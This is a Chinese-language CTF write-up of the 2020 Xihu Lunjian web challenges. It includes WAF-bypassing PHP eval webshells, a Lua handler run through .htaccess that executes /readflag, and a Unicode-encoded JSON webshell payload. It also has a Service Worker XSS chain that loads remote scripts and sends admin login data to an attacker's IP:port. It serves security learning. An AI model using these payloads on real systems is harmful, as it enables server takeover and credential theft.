西湖论剑2020Web复现

NewUpload

      这题在做的时候一直没有上传成功过,后来才知道502是因为waf。

第一步:文件上传

      在宝塔WAF绕过上传方法文章中讲述了宝塔文件上传绕过的方法,这里使用了上面提到的换行污染内容填充

个人理解:

      之所以使用内容填充是因为当内容很简洁时php字符串会被识别到,然后被拦截无法成功上传,因此图片文件头并不是关键,重要的是php字符不被识别到。当不上传带有php字符串内容得文件时就不需要添加这些乱七八糟的内容了。

先执行phpinfo收集信息:

disable_functions:passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

open_basedir:/www/wwwroot/10.20.124.208/:/tmp/

第二步:绕宝塔waf getshell

     这里大师傅提供了两种方法:编码绕过lua脚本执行

编码绕过(失败)

测试发现:宝塔waf不能解析三次url编码,因此只需要将payload进行三次url编码即可。

      文件插入<?php eval(urldecode(urldecode(urldecode($_POST['cmd']))));?>;将phpinfo();加密三次后传入能正常执行,但是这个shell连接蚁剑需要自己写编码器。。。嘤嘤嘤,菜是原罪......

官方编码器记录了几种编码器,我使用base64编码器也无法成功bypass连接蚁剑,自闭ing。。。

尽管连不上,后面的做法也记录一下。

连上之后,使用AntSword Bypass disable_function绕过disable_function然后/readflag。

lua脚本执行

lua介绍:       Lua是一个简洁、轻量、可扩展的脚本语言。Lua有着相对简单的C API而很容易嵌入应用中。很多应用程序使用Lua作为自己的嵌入式脚本语言,以此来实现可配置性、可扩展性。

首先,我们需要能够指定使用lua解析的文件,这就需要配置文件.htaccess的帮助。

AddHandler lua-script .lua
# 指定lua后缀的文件使用lua语言执行。

然后上传lua脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
require "string"

--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"
    r:puts("Hello Lua World!\n")
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)
    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

补:在日常浏览群消息学习中看到有人在问为什么要使用lua脚本语言,顿时觉得自己可能只是顺着wp的思路走,并没有什么思考,只是知其然不知其所以然。

      还好后来有师傅解答了这个问题:响应头返回了openresty

介绍:
      OpenResty(也称为 ngx_openresty)是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。

HelloDiscuzQ

      看不懂wp。。。

HardXSS

原理阐述:Service Worker从入门到跑路(2020西湖论剑HardXSS)

解题过程:

      该站点存在三个功能:子域名爆破联系站长Admin Login,其中子域名爆破没用,联系站长返回一些内容:

嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!
> hash = md5(vcode)
> console.log('验证码:'+hash.substr(0,5)) 验证码:*****

验证码直接脚本爆破,而我收到邮件后会先点开链接然后登录我的网站透露了利用XSS持久化获得admin登录信息的思路。

      xss持久化就两种方式Service Workercache。cache在这个题目里面没法控制,所以就得Service Worker。要用Service Worker就得找一个能xss的点,去注册这个Service Worker. -- Nu1L wp

这时转去看源码,得到处理登录功能的js代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
    jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
    if(result['status']){
        location.href = jump_url;
    }
})
function jsonp(url, success) {
    var script = document.createElement("script");
    if(url.indexOf("callback") < 0){
        var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
        url = url + "?" + "callback=" + funName;
    }else{
        var funName = callback;
    }
    window[funName] = function(data) {
        success(data);
        delete window[funName];
        document.body.removeChild(script);
    }
    script.src = url;
    document.body.appendChild(script);
}
function auto_reg_var(){
    var search = location.search.slice(1);
    var search_arr = search.split('&');
    for(var i = 0;i < search_arr.length; i++){
        [key,value] = search_arr[i].split("=");
        window[key] = value;
    }
}

发现实现跳转的函数jsonpjsonp可以用于跨域数据的访问,但是此处存在一个变量覆盖漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function auto_reg_var(){
    var search = location.search.slice(1);
    var search_arr = search.split('&');
    for(var i = 0;i < search_arr.length; i++){
        [key,value] = search_arr[i].split("=");
        window[key] = value;
    }
}

// callback赋值方式:
// var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
// url = url + "?" + "callback=" + funName;

      在对callback赋值时并没有经过任何的检查和过滤,导致可以通过注释符//实现变量覆盖,例如https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//可以实现弹窗功能。

因此,jsonp就可以作为Service Worker的利用点进行XSS持久化。

接下来这波叫做意念做题(没有服务器,只是为了记录一下预期的做题过程):

通过https://auth.hardxss.xhlj.wetolink.com/获得

document.domain = "hardxss.xhlj.wetolink.com";

注册Service Worker:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// aaa.js
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//404.buuoj.cn/a/sw.js')//")`;
function iffLoadover(){
    iff.contentWindow.eval(exp);
}

安装和启用Service Worker,并在脚本每次对外访问资源时都拦截相应参数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// sw.js
self.addEventListener('install', function(event) {
        console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
        console.log(event.request);
        event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });
function requestBackend(event){
        var url = event.request.clone();
        console.log(url);
        return new Response("<script>location='http://IP:port/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }})
}

然后放在https的站点上,发送框填入链接:

https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%27//404.buuoj.cn/a/aaa.js%27);

获取admin登陆账号和密码。

FlagShop

西湖论剑2020FlagShop复现

EasyJson

      这题不难,只要知道json_decode函数也能处理Unicode字符集,然后绕过waf就可以getshell。

开局给源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include 'security.php';
if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");

if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

      在传入一句话木马时发现很多Unicode加密网站在加密时会自动将<>转化为HTML实体编码,这样会导致一句话木马无法执行,在此网站http://www.jsons.cn/unicode/生成的Unicode不会自动编码。

1
2
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0063\u006d\u0064\u005d\u0029\u003b\u003f\u003e"}
# {"content":"<?php eval($_POST[cmd])?>"}

getshell之后终端执行/readflag获取flag。

参考

西湖论剑线上赛 俩web

2020西湖论剑部分web_wp

Service Worker从入门到跑路(2020西湖论剑HardXSS)

Nu1L wp(微信公众号)

西湖论剑 Flagshop 分析复现

官方HardXSS解题思路